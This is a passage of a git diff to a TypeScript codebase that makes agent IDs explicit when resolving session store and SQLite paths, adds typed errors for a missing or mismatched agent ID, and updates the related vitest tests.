[]; - for (const filePath of [databasePath, `${databasePath}-wal`]) { - const stat = await fs.promises.stat(filePath).catch(() => null); - if (!stat?.isFile()) { - continue; + for (const databasePath of listDurableSqliteTargetPathsForSessionStorePath(storePath)) { + for (const filePath of [databasePath, `${databasePath}-wal`]) { + const stat = await fs.promises.stat(filePath).catch(() => null); + if (!stat?.isFile()) { + continue; + } + files.push({ + path: filePath, + canonicalPath: canonicalizePathForComparison(filePath), + name: path.basename(filePath), + size: stat.size, + mtimeMs: stat.mtimeMs, + }); } - files.push({ - path: filePath, - canonicalPath: canonicalizePathForComparison(filePath), - name: path.basename(filePath), - size: stat.size, - mtimeMs: stat.mtimeMs, - }); } return files; } @@ -286,17 +284,24 @@ export async function measureSessionPhysicalDiskUsage( const sessionsDirFiles = await readSessionsDirFiles(path.dirname(storePath)); const promptBlobFiles = await readSessionPromptBlobFiles(path.dirname(storePath)); const databaseFiles = await readSqliteDatabaseFiles(storePath); - const databasePath = resolveSqliteTargetFromSessionStorePath(storePath).path; - const databaseMainPath = databasePath ? canonicalizePathForComparison(databasePath) : undefined; - const databaseWalPath = databasePath - ? canonicalizePathForComparison(`${databasePath}-wal`) - : undefined; + const databaseMainPaths = new Set( + databaseFiles.filter((file) => !file.path.endsWith("-wal")).map((file) => file.canonicalPath), + ); + const databaseWalPaths = new Set( + databaseFiles.filter((file) => file.path.endsWith("-wal")).map((file) => file.canonicalPath), + ); const uniqueFiles = new Map(); for (const file of [...sessionsDirFiles, ...promptBlobFiles, ...databaseFiles]) { uniqueFiles.set(file.canonicalPath, file); } - const databaseMainBytes = databaseMainPath ? (uniqueFiles.get(databaseMainPath)?.size ?? 0) : 0; - const databaseWalBytes = databaseWalPath ? (uniqueFiles.get(databaseWalPath)?.size ?? 0) : 0; + const databaseMainBytes = [...databaseMainPaths].reduce( + (sum, databasePath) => sum + (uniqueFiles.get(databasePath)?.size ?? 0), + 0, + ); + const databaseWalBytes = [...databaseWalPaths].reduce( + (sum, databasePath) => sum + (uniqueFiles.get(databasePath)?.size ?? 0), + 0, + ); const totalBytes = [...uniqueFiles.values()].reduce((sum, file) => sum + file.size, 0); return { databaseMainBytes, diff --git a/src/config/sessions/main-session.ts b/src/config/sessions/main-session.ts index 1e0630cca9b8..577626e0d019 100644 --- a/src/config/sessions/main-session.ts +++ b/src/config/sessions/main-session.ts @@ -1,9 +1,11 @@ +import { resolveDefaultAgentId } from "../../agents/agent-scope-config.js"; // Main-session keys normalize configured agents and legacy aliases into store keys. import { normalizeAgentId, normalizeMainKey, resolveAgentIdFromSessionKey, } from "../../routing/session-key.js"; +import type { OpenClawConfig } from "../types.openclaw.js"; import type { SessionScope } from "./types.js"; const FALLBACK_DEFAULT_AGENT_ID = "main"; @@ -15,27 +17,16 @@ function buildMainSessionKey(agentId: string, mainKey?: string): string { } /** Resolves the configured main session key, honoring global session scope. */ -export function resolveMainSessionKey(cfg?: { - session?: { scope?: SessionScope; mainKey?: string }; - agents?: { list?: Array<{ id?: string; default?: boolean }> }; -}): string { +export function resolveMainSessionKey(cfg: OpenClawConfig): string { if (cfg?.session?.scope === "global") { return "global"; } - const agents = Array.isArray(cfg?.agents?.list) ? cfg.agents.list : []; - const defaultAgentId = - agents.find((agent) => agent?.default)?.id ?? agents[0]?.id ?? FALLBACK_DEFAULT_AGENT_ID; - return buildMainSessionKey(defaultAgentId, cfg?.session?.mainKey); + return buildMainSessionKey(resolveDefaultAgentId(cfg), cfg.session?.mainKey); } /** Stable fingerprint for the config values that canonicalize chat session keys. */ -export function resolveSessionRoutingContract(cfg?: { - session?: { scope?: SessionScope; mainKey?: string }; - agents?: { list?: Array<{ id?: string; default?: boolean }> }; -}): string { - const agents = Array.isArray(cfg?.agents?.list) ? cfg.agents.list : []; - const defaultAgentId = - agents.find((agent) => agent?.default)?.id ?? agents[0]?.id ?? FALLBACK_DEFAULT_AGENT_ID; +export function resolveSessionRoutingContract(cfg: OpenClawConfig): string { + const defaultAgentId = resolveDefaultAgentId(cfg); const scope = cfg?.session?.scope ?? "per-sender"; return [scope, normalizeMainKey(cfg?.session?.mainKey), normalizeAgentId(defaultAgentId)].join( "|", diff --git a/src/config/sessions/paths.test.ts b/src/config/sessions/paths.test.ts index 0a1dac9b8270..6e914ec26ffe 100644 --- a/src/config/sessions/paths.test.ts +++ b/src/config/sessions/paths.test.ts @@ -3,7 +3,11 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; import { afterEach, describe, expect, it } from "vitest"; -import { resolveSessionFilePath, resolveStorePath } from "./paths.js"; +import { + resolveSessionFilePath, + resolveStorePath, + SessionStoreAgentIdRequiredError, +} from "./paths.js"; const tempDirs: string[] = []; @@ -51,6 +55,17 @@ describe("resolveSessionFilePath cross-root reroot", () => { }); describe("resolveStorePath", () => { + it("resolves a fixed literal path without an agent owner", () => { + const fixed = path.join(path.parse(process.cwd()).root, "shared", "sessions.json"); + expect(resolveStorePath(fixed)).toBe(path.resolve(fixed)); + }); + + it("throws a typed error when an agent template has no owner", () => { + expect(() => resolveStorePath("/state/agents/{agentId}/sessions.json")).toThrow( + SessionStoreAgentIdRequiredError, + ); + }); + it("uses the default agent store when session.store is absent or blank", () => { const stateDir = path.join(path.parse(process.cwd()).root, "openclaw-test-state"); const env = { diff --git a/src/config/sessions/paths.ts b/src/config/sessions/paths.ts index 3d9c18d5e543..d60cccdddd13 100644 --- a/src/config/sessions/paths.ts +++ b/src/config/sessions/paths.ts @@ -4,36 +4,32 @@ import os from "node:os"; import path from "node:path"; import { normalizeLowercaseStringOrEmpty } from "@openclaw/normalization-core/string-coerce"; import { expandHomePrefix, resolveRequiredHomeDir } from "../../infra/home-dir.js"; -import { DEFAULT_AGENT_ID, normalizeAgentId } from "../../routing/session-key.js"; +import { normalizeAgentId } from "../../routing/session-key.js"; import { resolveStateDir } from "../paths.js"; import { isCompactionCheckpointTranscriptFileName } from "./artifacts.js"; function resolveAgentSessionsDir( - agentId?: string, + agentId: string, env: NodeJS.ProcessEnv = process.env, homedir: () => string = () => resolveRequiredHomeDir(env, os.homedir), ): string { + if (!agentId?.trim()) { + throw new Error("Session storage path requires an explicit agent id."); + } const root = resolveStateDir(env, homedir); - const id = normalizeAgentId(agentId ?? DEFAULT_AGENT_ID); + const id = normalizeAgentId(agentId); return path.join(root, "agents", id, "sessions"); } -export function resolveSessionTranscriptsDir( - env: NodeJS.ProcessEnv = process.env, - homedir: () => string = () => resolveRequiredHomeDir(env, os.homedir), -): string { - return resolveAgentSessionsDir(DEFAULT_AGENT_ID, env, homedir); -} - export function resolveSessionTranscriptsDirForAgent( - agentId?: string, + agentId: string, env: NodeJS.ProcessEnv = process.env, homedir: () => string = () => resolveRequiredHomeDir(env, os.homedir), ): string { return resolveAgentSessionsDir(agentId, env, homedir); } -export function resolveDefaultSessionStorePath(agentId?: string): string { +export function resolveDefaultSessionStorePath(agentId: string): string { return path.join(resolveAgentSessionsDir(agentId), "sessions.json"); } @@ -79,7 +75,10 @@ function resolveSessionsDir(opts?: SessionFilePathOptions): string { if (sessionsDir) { return path.resolve(sessionsDir); } - return resolveAgentSessionsDir(opts?.agentId); + if (!opts?.agentId?.trim()) { + throw new Error("Session storage path requires an explicit agent id."); + } + return resolveAgentSessionsDir(opts.agentId); } function resolvePathFromAgentSessionsDir( @@ -289,7 +288,7 @@ export function resolveSessionTranscriptPathInDir( export function resolveSessionTranscriptPath( sessionId: string, - agentId?: string, + agentId: string, topicId?: string | number, ): string { return resolveSessionTranscriptPathInDir(sessionId, resolveAgentSessionsDir(agentId), topicId); @@ -314,17 +313,32 @@ export function resolveSessionFilePath( return resolveSessionTranscriptPathInDir(sessionId, sessionsDir); } +export class SessionStoreAgentIdRequiredError extends Error { + constructor() { + super("Session store path requires an explicit agent id."); + this.name = "SessionStoreAgentIdRequiredError"; + } +} + +/** Resolves fixed literal paths without an owner; derived or templated paths require agentId. */ export function resolveStorePath( store?: string, opts?: { agentId?: string; env?: NodeJS.ProcessEnv }, ) { - const agentId = normalizeAgentId(opts?.agentId ?? DEFAULT_AGENT_ID); const env = opts?.env ?? process.env; const homedir = () => resolveRequiredHomeDir(env, os.homedir); if (!store) { + if (!opts?.agentId?.trim()) { + throw new SessionStoreAgentIdRequiredError(); + } + const agentId = normalizeAgentId(opts.agentId); return path.join(resolveAgentSessionsDir(agentId, env, homedir), "sessions.json"); } if (store.includes("{agentId}")) { + if (!opts?.agentId?.trim()) { + throw new SessionStoreAgentIdRequiredError(); + } + const agentId = normalizeAgentId(opts.agentId); // Template expansion is the only supported way to share one config path across agent stores. const expanded = store.replaceAll("{agentId}", agentId); if (expanded.startsWith("~")) { diff --git a/src/config/sessions/session-accessor.reply-init-concurrency.test.ts b/src/config/sessions/session-accessor.reply-init-concurrency.test.ts index c23d38d304f1..9f186c6d8d21 100644 --- a/src/config/sessions/session-accessor.reply-init-concurrency.test.ts +++ b/src/config/sessions/session-accessor.reply-init-concurrency.test.ts @@ -115,6 +115,7 @@ function waitForProceed(requestId) { async function runReplyInit(request) { const snapshot = loadReplySessionInitializationSnapshot({ + agentId: AGENT_ID, sessionKey: SESSION_KEY, storePath: request.storePath, }); diff --git a/src/config/sessions/session-accessor.reset.ts b/src/config/sessions/session-accessor.reset.ts index 53d4bc483248..a9a4b38793f3 100644 --- a/src/config/sessions/session-accessor.reset.ts +++ b/src/config/sessions/session-accessor.reset.ts @@ -1,4 +1,8 @@ -import { isIncognitoSessionKey, resolveAgentIdFromSessionKey } from "../../routing/session-key.js"; +import { + isIncognitoSessionKey, + normalizeAgentId, + parseAgentSessionKey, +} from "../../routing/session-key.js"; import { createLazyRuntimeModule } from "../../shared/lazy-runtime.js"; import { cloneSessionEntries, @@ -31,6 +35,28 @@ type SessionEntryRetirement = { key: string; }; +export class SessionInitializationAgentScopeMismatchError extends Error { + readonly code = "SESSION_INITIALIZATION_AGENT_SCOPE_MISMATCH"; + + constructor( + readonly agentId: string, + readonly sessionKeyAgentId: string, + ) { + super( + `Session initialization agent scope mismatch: explicit agent "${agentId}" does not match session key agent "${sessionKeyAgentId}".`, + ); + this.name = "SessionInitializationAgentScopeMismatchError"; + } +} + +function assertSessionInitializationAgentScope(agentId: string, sessionKey: string): void { + const normalizedAgentId = normalizeAgentId(agentId); + const sessionKeyAgentId = parseAgentSessionKey(sessionKey)?.agentId; + if (sessionKeyAgentId && normalizeAgentId(sessionKeyAgentId) !== normalizedAgentId) { + throw new SessionInitializationAgentScopeMismatchError(normalizedAgentId, sessionKeyAgentId); + } +} + const loadSessionArchiveRuntime = createLazyRuntimeModule( () => import("../../gateway/session-archive.runtime.js"), ); @@ -66,16 +92,16 @@ export async function persistSessionResetLifecycle(params: { /** Loads the reply-session initialization rows without exposing a mutable store. */ export function loadReplySessionInitializationSnapshot(params: { + agentId: string; storePath: string; sessionKey: string; }): ReplySessionInitializationSnapshot { - const agentId = resolveAgentIdFromSessionKey(params.sessionKey); + assertSessionInitializationAgentScope(params.agentId, params.sessionKey); const storePath = resolveSessionStorePathForScope(params); const store = Object.fromEntries( - listSessionEntriesReadOnly({ agentId, storePath }).map(({ sessionKey, entry }) => [ - sessionKey, - entry, - ]), + listSessionEntriesReadOnly({ agentId: params.agentId, storePath }).map( + ({ sessionKey, entry }) => [sessionKey, entry], + ), ); const resolved = resolveSessionEntryFromStore({ store, sessionKey: params.sessionKey }); const currentEntry = resolved.existing ? { ...resolved.existing } : undefined; @@ -121,6 +147,7 @@ export async function commitReplySessionInitialization(params: { snapshotEntry?: SessionEntry; storePath: string; }): Promise { + assertSessionInitializationAgentScope(params.agentId, params.sessionKey); const storePath = resolveSessionStorePathForScope({ sessionKey: params.sessionKey, storePath: params.storePath, diff --git a/src/config/sessions/session-accessor.sqlite-contract.ts b/src/config/sessions/session-accessor.sqlite-contract.ts index 0e6a7a1fa1ec..57cb7dfe1b5e 100644 --- a/src/config/sessions/session-accessor.sqlite-contract.ts +++ b/src/config/sessions/session-accessor.sqlite-contract.ts @@ -19,6 +19,8 @@ import type { SessionEntry } from "./types.js"; export type SessionAccessScope = { agentId?: string; clone?: boolean; + /** Fixed-store ownership is explicit; omitted values use the storage resolver's legacy-main contract. */ + defaultAgentId?: string; env?: NodeJS.ProcessEnv; hydrateSkillPromptRefs?: boolean; readConsistency?: "latest"; diff --git a/src/config/sessions/session-accessor.sqlite-lifecycle.ts b/src/config/sessions/session-accessor.sqlite-lifecycle.ts index 3d310f150715..d592ced0b9f7 100644 --- a/src/config/sessions/session-accessor.sqlite-lifecycle.ts +++ b/src/config/sessions/session-accessor.sqlite-lifecycle.ts @@ -1,5 +1,6 @@ import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; import { executeSqliteQuerySync, getNodeSqliteKysely } from "../../infra/kysely-sync.js"; +import { parseAgentSessionKey } from "../../routing/session-key.js"; import { isAgentHarnessSessionKey, isValidAgentHarnessSessionStoreEntry, @@ -154,7 +155,8 @@ export async function cleanupSqliteSessionLifecycleArtifacts( export async function resetSqliteSessionEntryLifecycle( params: ResetSessionEntryLifecycleParams, ): Promise { - const resolved = resolveSqliteStoreScope(params.storePath, { agentId: params.agentId }); + const agentId = params.agentId ?? parseAgentSessionKey(params.target.canonicalKey)?.agentId; + const resolved = resolveSqliteStoreScope(params.storePath, { agentId }); // Retained reset history is the store's growth event; give the throttled // budget pass a chance to extract-and-evict once we finish. try { @@ -261,7 +263,8 @@ async function deleteSqliteSessionEntryLifecycleInternal( allowLockedEntryRemoval: boolean, expectedPluginOwnerId?: string, ): Promise { - const resolved = resolveSqliteStoreScope(params.storePath, { agentId: params.agentId }); + const agentId = params.agentId ?? parseAgentSessionKey(params.target.canonicalKey)?.agentId; + const resolved = resolveSqliteStoreScope(params.storePath, { agentId }); try { return await deleteSqliteSessionEntryLifecycleLocked( resolved, diff --git a/src/config/sessions/session-accessor.sqlite-scope.ts b/src/config/sessions/session-accessor.sqlite-scope.ts index fd62452d11fa..b241cde0317d 100644 --- a/src/config/sessions/session-accessor.sqlite-scope.ts +++ b/src/config/sessions/session-accessor.sqlite-scope.ts @@ -2,7 +2,6 @@ import path from "node:path"; import { getNodeSqliteKysely } from "../../infra/kysely-sync.js"; import { getChildLogger } from "../../logging/logger.js"; import { - DEFAULT_AGENT_ID, isIncognitoSessionKey, normalizeAgentId, parseAgentSessionKey, @@ -47,6 +46,7 @@ type SessionSqliteDatabase = Pick< export type ResolvedSqliteScope = { agentId: string; + databaseAgentId?: string; env?: NodeJS.ProcessEnv; path?: string; sessionKey: string; @@ -54,6 +54,7 @@ export type ResolvedSqliteScope = { export type ResolvedSqliteReadScope = { agentId: string; + databaseAgentId?: string; env?: NodeJS.ProcessEnv; path?: string; sessionKey?: string; @@ -109,9 +110,13 @@ export async function runExclusiveSqliteSessionWrite( } export function resolveSqliteScope( - scope: Pick, + scope: Pick< + SessionAccessScope, + "agentId" | "defaultAgentId" | "env" | "sessionKey" | "storePath" + >, ): ResolvedSqliteScope { - const scopedAgentId = resolveExplicitSqliteAgentId(scope); + const parsedAgentId = parseAgentSessionKey(scope.sessionKey)?.agentId; + const scopedAgentId = scope.agentId ? normalizeAgentId(scope.agentId) : parsedAgentId; const incognitoAgentId = isIncognitoSessionKey(scope.sessionKey) ? resolveAgentIdFromSessionKey(scope.sessionKey) : undefined; @@ -120,21 +125,24 @@ export function resolveSqliteScope( : scope.storePath; const effectiveAgentId = incognitoAgentId ?? scopedAgentId; const storeTarget = effectiveStorePath - ? resolveSqliteTargetFromSessionStorePath(effectiveStorePath, { agentId: effectiveAgentId }) + ? resolveSqliteTargetFromSessionStorePath(effectiveStorePath, { + agentId: effectiveAgentId, + defaultAgentId: scope.defaultAgentId, + ...(scope.env ? { env: scope.env } : {}), + }) : undefined; const agentId = resolveSqliteAgentId({ scopedAgentId: effectiveAgentId, sessionKey: scope.sessionKey, storeAgentId: storeTarget?.agentId, - useDefaultAgentForUnownedStore: Boolean( - storeTarget?.path && !storeTarget.agentId && !scopedAgentId, - ), + storeShared: storeTarget?.shared, }); if (!agentId) { throw new Error("Cannot resolve SQLite session scope without an agent id"); } return { agentId, + ...(storeTarget?.shared && storeTarget.agentId ? { databaseAgentId: storeTarget.agentId } : {}), ...(scope.env ? { env: scope.env } : {}), ...(storeTarget ? { path: storeTarget.path } : {}), sessionKey: normalizeSqliteSessionKey(scope.sessionKey), @@ -142,10 +150,14 @@ export function resolveSqliteScope( } export function resolveSqliteReadScope( - scope: Pick, + scope: Pick< + SessionTranscriptReadScope, + "agentId" | "defaultAgentId" | "env" | "sessionKey" | "storePath" + >, ): ResolvedSqliteReadScope { const sessionKey = scope.sessionKey ? normalizeSqliteSessionKey(scope.sessionKey) : undefined; - const scopedAgentId = resolveExplicitSqliteAgentId({ ...scope, sessionKey }); + const parsedAgentId = parseAgentSessionKey(sessionKey)?.agentId; + const scopedAgentId = scope.agentId ? normalizeAgentId(scope.agentId) : parsedAgentId; const incognitoAgentId = isIncognitoSessionKey(sessionKey) ? resolveAgentIdFromSessionKey(sessionKey) : undefined; @@ -154,36 +166,30 @@ export function resolveSqliteReadScope( : scope.storePath; const effectiveAgentId = incognitoAgentId ?? scopedAgentId; const storeTarget = effectiveStorePath - ? resolveSqliteTargetFromSessionStorePath(effectiveStorePath, { agentId: effectiveAgentId }) + ? resolveSqliteTargetFromSessionStorePath(effectiveStorePath, { + agentId: effectiveAgentId, + defaultAgentId: scope.defaultAgentId, + ...(scope.env ? { env: scope.env } : {}), + }) : undefined; const agentId = resolveSqliteAgentId({ scopedAgentId: effectiveAgentId, sessionKey, storeAgentId: storeTarget?.agentId, - useDefaultAgentForUnownedStore: Boolean( - storeTarget?.path && !storeTarget.agentId && !scopedAgentId, - ), + storeShared: storeTarget?.shared, }); if (!agentId) { throw new Error("Cannot resolve SQLite transcript read scope without an agent id"); } return { agentId, + ...(storeTarget?.shared && storeTarget.agentId ? { databaseAgentId: storeTarget.agentId } : {}), ...(scope.env ? { env: scope.env } : {}), ...(storeTarget ? { path: storeTarget.path } : {}), ...(sessionKey ? { sessionKey } : {}), }; } -function resolveExplicitSqliteAgentId(params: { - agentId?: string; - sessionKey?: string; -}): string | undefined { - return params.agentId - ? normalizeAgentId(params.agentId) - : parseAgentSessionKey(params.sessionKey)?.agentId; -} - export function resolveSqliteStoreScope( storePath: string, options: { agentId?: string } = {}, @@ -199,19 +205,23 @@ function resolveSqliteAgentId(params: { scopedAgentId?: string; sessionKey?: string; storeAgentId?: string; - useDefaultAgentForUnownedStore?: boolean; + storeShared?: boolean; }): string | undefined { const scopedAgentId = params.scopedAgentId ? normalizeAgentId(params.scopedAgentId) : undefined; - if (scopedAgentId && params.storeAgentId && scopedAgentId !== params.storeAgentId) { + if ( + scopedAgentId && + params.storeAgentId && + scopedAgentId !== params.storeAgentId && + !params.storeShared + ) { throw new Error( `SQLite session store path belongs to agent ${params.storeAgentId}; requested agent ${scopedAgentId}.`, ); } - const resolved = - scopedAgentId ?? - params.storeAgentId ?? - (params.sessionKey !== undefined ? resolveAgentIdFromSessionKey(params.sessionKey) : undefined); - return resolved ?? (params.useDefaultAgentForUnownedStore ? DEFAULT_AGENT_ID : undefined); + const parsedAgentId = params.sessionKey + ? parseAgentSessionKey(params.sessionKey)?.agentId + : undefined; + return scopedAgentId ?? params.storeAgentId ?? parsedAgentId; } export function resolveSqliteTranscriptArchiveDirectory( @@ -260,10 +270,10 @@ export function resolveSqliteTranscriptReadScope( } export function toDatabaseOptions( - scope: Pick, + scope: Pick, ): OpenClawAgentDatabaseOptions { return { - agentId: scope.agentId, + agentId: scope.databaseAgentId ?? scope.agentId, ...(scope.env ? { env: scope.env } : {}), ...(scope.path ? { path: scope.path } : {}), }; diff --git a/src/config/sessions/session-accessor.test.ts b/src/config/sessions/session-accessor.test.ts index 6a9602c063cf..6f520714a6ce 100644 --- a/src/config/sessions/session-accessor.test.ts +++ b/src/config/sessions/session-accessor.test.ts @@ -40,6 +40,7 @@ import { recordInboundSessionMeta, replaceSessionEntry, resetSessionEntryLifecycle, + SessionInitializationAgentScopeMismatchError, resolveSessionEntryAccessTarget, resolveSessionEntryCandidateTarget, resolveSessionTranscriptReadTarget, @@ -145,6 +146,34 @@ describe("session accessor seam", () => { }); }); + it("derives a scoped key owner before fixed-store read and write target resolution", async () => { + const fixedStorePath = path.join(tempDir, "fixed-sessions.json"); + const scope = { + defaultAgentId: "main", + sessionKey: "agent:ops:main", + storePath: fixedStorePath, + }; + + await replaceSessionEntry(scope, { + sessionId: "ops-session", + updatedAt: 10, + }); + + expect(loadSessionEntry(scope)).toMatchObject({ sessionId: "ops-session" }); + await expect(loadTranscriptEvents({ ...scope, sessionId: "ops-session" })).resolves.toEqual([]); + const opsPath = resolveSqliteTargetFromSessionStorePath(fixedStorePath, { + agentId: "ops", + defaultAgentId: "main", + }).path; + const mainPath = resolveSqliteTargetFromSessionStorePath(fixedStorePath, { + agentId: "main", + defaultAgentId: "main", + }).path; + expect(opsPath).not.toBe(mainPath); + expect(fs.existsSync(opsPath)).toBe(true); + expect(fs.existsSync(mainPath)).toBe(false); + }); + it("excludes transcript-only nodes from logical entry counts and keys", async () => { await replaceSessionEntry( { sessionKey: "agent:main:logical-entry", storePath }, @@ -913,7 +942,10 @@ describe("session accessor seam", () => { const resolved = resolveSessionEntryCandidateTarget({ agentId: "support", candidateKeys: ["agent:support:main"], - cfg: { session: { store: storeTemplate } }, + cfg: { + session: { store: storeTemplate }, + agents: { entries: { support: { default: true } } }, + }, }); expect(resolved).toMatchObject({ @@ -941,7 +973,10 @@ describe("session accessor seam", () => { ); const resolved = resolveSessionEntryAccessTarget({ - cfg: { session: { store: storeTemplate } }, + cfg: { + session: { store: storeTemplate }, + agents: { entries: { support: { default: true } } }, + }, sessionKey: "agent:support:main", }); @@ -1240,7 +1275,11 @@ describe("session accessor seam", () => { }, ); - const snapshot = loadReplySessionInitializationSnapshot({ sessionKey, storePath }); + const snapshot = loadReplySessionInitializationSnapshot({ + agentId: "main", + sessionKey, + storePath, + }); const committed = await commitReplySessionInitialization({ activeSessionKey: sessionKey, agentId: "main", @@ -1279,7 +1318,11 @@ describe("session accessor seam", () => { }, ); - const snapshot = loadReplySessionInitializationSnapshot({ sessionKey, storePath }); + const snapshot = loadReplySessionInitializationSnapshot({ + agentId: "main", + sessionKey, + storePath, + }); const committed = await commitReplySessionInitialization({ activeSessionKey: sessionKey, agentId: "main", @@ -1311,7 +1354,11 @@ describe("session accessor seam", () => { updatedAt: 10, }, ); - const snapshot = loadReplySessionInitializationSnapshot({ sessionKey, storePath }); + const snapshot = loadReplySessionInitializationSnapshot({ + agentId: "main", + sessionKey, + storePath, + }); await upsertSessionEntry( { sessionKey, storePath }, { @@ -1350,7 +1397,11 @@ describe("session accessor seam", () => { updatedAt: 10, }, ); - const snapshot = loadReplySessionInitializationSnapshot({ sessionKey, storePath }); + const snapshot = loadReplySessionInitializationSnapshot({ + agentId: "main", + sessionKey, + storePath, + }); const current = loadSessionEntry({ sessionKey, storePath }); if (!current) { throw new Error("expected existing session entry"); @@ -1408,7 +1459,11 @@ describe("session accessor seam", () => { }, ); - const snapshot = loadReplySessionInitializationSnapshot({ sessionKey, storePath }); + const snapshot = loadReplySessionInitializationSnapshot({ + agentId: "main", + sessionKey, + storePath, + }); // Background activity (heartbeat runner, delivery retry, etc.) can touch // metadata fields without rotating the session. The initialization guard @@ -1470,7 +1525,11 @@ describe("session accessor seam", () => { }, ); - const snapshot = loadReplySessionInitializationSnapshot({ sessionKey, storePath }); + const snapshot = loadReplySessionInitializationSnapshot({ + agentId: "main", + sessionKey, + storePath, + }); const current = loadSessionEntry({ sessionKey, storePath }); if (!current) { @@ -1536,7 +1595,11 @@ describe("session accessor seam", () => { }, ); - const snapshot = loadReplySessionInitializationSnapshot({ sessionKey, storePath }); + const snapshot = loadReplySessionInitializationSnapshot({ + agentId: "main", + sessionKey, + storePath, + }); if (!snapshot.currentEntry) { throw new Error("expected reply session initialization snapshot"); } @@ -1603,7 +1666,11 @@ describe("session accessor seam", () => { }, ); - const snapshot = loadReplySessionInitializationSnapshot({ sessionKey, storePath }); + const snapshot = loadReplySessionInitializationSnapshot({ + agentId: "main", + sessionKey, + storePath, + }); const current = loadSessionEntry({ sessionKey, storePath }); if (!current) { @@ -1669,7 +1736,11 @@ describe("session accessor seam", () => { ], }); - const snapshot = loadReplySessionInitializationSnapshot({ sessionKey, storePath }); + const snapshot = loadReplySessionInitializationSnapshot({ + agentId: "main", + sessionKey, + storePath, + }); const committed = await commitReplySessionInitialization({ activeSessionKey: sessionKey, agentId: "main", @@ -1691,6 +1762,39 @@ describe("session accessor seam", () => { expect(loadSessionEntry({ sessionKey, storePath })?.sessionId).toBe("next-session"); }); + it("rejects a reply initialization key scoped to another explicit agent", () => { + try { + loadReplySessionInitializationSnapshot({ + agentId: "main", + sessionKey: "agent:ops:main", + storePath, + }); + throw new Error("expected agent scope mismatch"); + } catch (error) { + expect(error).toBeInstanceOf(SessionInitializationAgentScopeMismatchError); + expect(error).toMatchObject({ + code: "SESSION_INITIALIZATION_AGENT_SCOPE_MISMATCH", + agentId: "main", + sessionKeyAgentId: "ops", + }); + } + }); + + it("allows an unscoped legacy alias with an explicit agent owner", async () => { + await upsertSessionEntry( + { agentId: "ops", sessionKey: "main", storePath }, + { sessionId: "legacy-ops-session", updatedAt: 10 }, + ); + + const snapshot = loadReplySessionInitializationSnapshot({ + agentId: "ops", + sessionKey: "main", + storePath, + }); + + expect(snapshot.currentEntry?.sessionId).toBe("legacy-ops-session"); + }); + it("rejects reply session initialization when the entry is deleted during prepare", async () => { const sessionKey = "agent:main:main"; await upsertSessionEntry( @@ -1700,7 +1804,11 @@ describe("session accessor seam", () => { updatedAt: 10, }, ); - const snapshot = loadReplySessionInitializationSnapshot({ sessionKey, storePath }); + const snapshot = loadReplySessionInitializationSnapshot({ + agentId: "main", + sessionKey, + storePath, + }); const committed = await commitReplySessionInitialization({ activeSessionKey: sessionKey, diff --git a/src/config/sessions/session-accessor.transcript-turn.ts b/src/config/sessions/session-accessor.transcript-turn.ts index 782a87dc7e6c..0b9d55929e02 100644 --- a/src/config/sessions/session-accessor.transcript-turn.ts +++ b/src/config/sessions/session-accessor.transcript-turn.ts @@ -1,3 +1,4 @@ +import { resolveDefaultAgentId } from "../../agents/agent-scope-config.js"; import { resolveAgentIdFromSessionKey } from "../../routing/session-key.js"; import { getRuntimeConfig } from "../io.js"; import { resolveStorePath } from "./paths.js"; @@ -42,7 +43,7 @@ export async function persistSessionTranscriptTurn( if (options.sessionLifecyclePatch) { throw new Error("Cannot patch session lifecycle without an expected session id"); } - const target = await resolveTranscriptTurnTarget(scope); + const target = await resolveTranscriptTurnTarget(scope, options.config); const appendedMessages = await runWithOwnedSessionTranscriptWriteLock( { sessionFile: target.sessionFile, @@ -141,14 +142,22 @@ async function persistExpectedSessionTranscriptTurn( } const storePath = scope.storePath; const expectedSessionId = options.expectedSessionId; - const agentId = scope.agentId ?? resolveAgentIdFromSessionKey(sessionKey); + const agentId = + scope.agentId ?? + resolveAgentIdFromSessionKey( + sessionKey, + resolveDefaultAgentId(options.config ?? getRuntimeConfig()), + ); if (!agentId) { throw new Error(`Cannot resolve transcript turn without an agent id: ${sessionKey}`); } const store = scope.sessionStore ?? Object.fromEntries( - listSessionEntries({ storePath }).map(({ sessionKey: entryKey, entry }) => [entryKey, entry]), + listSessionEntries({ agentId, storePath }).map(({ sessionKey: entryKey, entry }) => [ + entryKey, + entry, + ]), ); const resolved = resolveSessionEntryFromStore({ store, sessionKey }); const sessionFile = formatSqliteSessionFileMarker({ @@ -171,6 +180,7 @@ async function persistExpectedSessionTranscriptTurn( () => appendSqliteExpectedSessionTranscriptTurn( { + agentId, sessionKey: resolved.normalizedKey, sessionId: expectedSessionId, storePath, @@ -222,6 +232,7 @@ async function resolveTranscriptTurnTarget( sessionEntry?: SessionEntry; sessionStore?: Record; }, + config?: import("../types.openclaw.js").OpenClawConfig, ): Promise< SessionTranscriptTurnWriteContext & { sessionEntry: SessionEntry | undefined; @@ -247,7 +258,9 @@ async function resolveTranscriptTurnTarget( "Cannot persist a transcript turn without a session key and session id or explicit session file", ); } - const agentId = scope.agentId ?? resolveAgentIdFromSessionKey(sessionKey); + const agentId = + scope.agentId ?? + resolveAgentIdFromSessionKey(sessionKey, resolveDefaultAgentId(config ?? getRuntimeConfig())); if (!agentId) { throw new Error(`Cannot resolve transcript turn without an agent id: ${sessionKey}`); } diff --git a/src/config/sessions/session-accessor.ts b/src/config/sessions/session-accessor.ts index f396ed37bf01..85bd15cdb216 100644 --- a/src/config/sessions/session-accessor.ts +++ b/src/config/sessions/session-accessor.ts @@ -177,6 +177,7 @@ export { commitReplySessionInitialization, loadReplySessionInitializationSnapshot, persistSessionResetLifecycle, + SessionInitializationAgentScopeMismatchError, } from "./session-accessor.reset.js"; export { appendTranscriptEvent, diff --git a/src/config/sessions/session-accessor.types.ts b/src/config/sessions/session-accessor.types.ts index 2503bc3640fe..ccfa20adf84e 100644 --- a/src/config/sessions/session-accessor.types.ts +++ b/src/config/sessions/session-accessor.types.ts @@ -38,6 +38,8 @@ export type SessionAccessScope = { * mutate the returned entry. */ clone?: boolean; + /** Configured default owner for fixed-store SQLite target derivation. */ + defaultAgentId?: string; /** Environment override used when resolving agent-scoped store paths in tests/tools. */ env?: NodeJS.ProcessEnv; /** Set false for metadata-only reads that do not need hydrated prompt refs. */ diff --git a/src/config/sessions/session-key.ts b/src/config/sessions/session-key.ts index 9916dbb9575d..223b14d1f8c4 100644 --- a/src/config/sessions/session-key.ts +++ b/src/config/sessions/session-key.ts @@ -2,7 +2,6 @@ import type { MsgContext } from "../../auto-reply/templating.js"; import { 